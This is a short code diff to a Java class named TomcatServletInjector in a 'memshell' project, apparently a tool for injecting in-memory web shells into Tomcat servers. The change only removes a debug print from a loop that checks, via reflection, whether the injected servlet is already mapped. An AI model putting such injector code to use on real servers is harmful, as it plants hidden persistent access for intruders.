memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatServletInjector.java

@@ -137,7 +137,6 @@ public class TomcatServletInjector {
         Map<String, String> servletMappings = (Map<String, String>) getFieldValue(context, "servletMappings");
         Collection<String> values = servletMappings.values();
         for (String name : values) {
-            System.out.println(name);
             if (name.equals(getClassName())) {
                 return true;
             }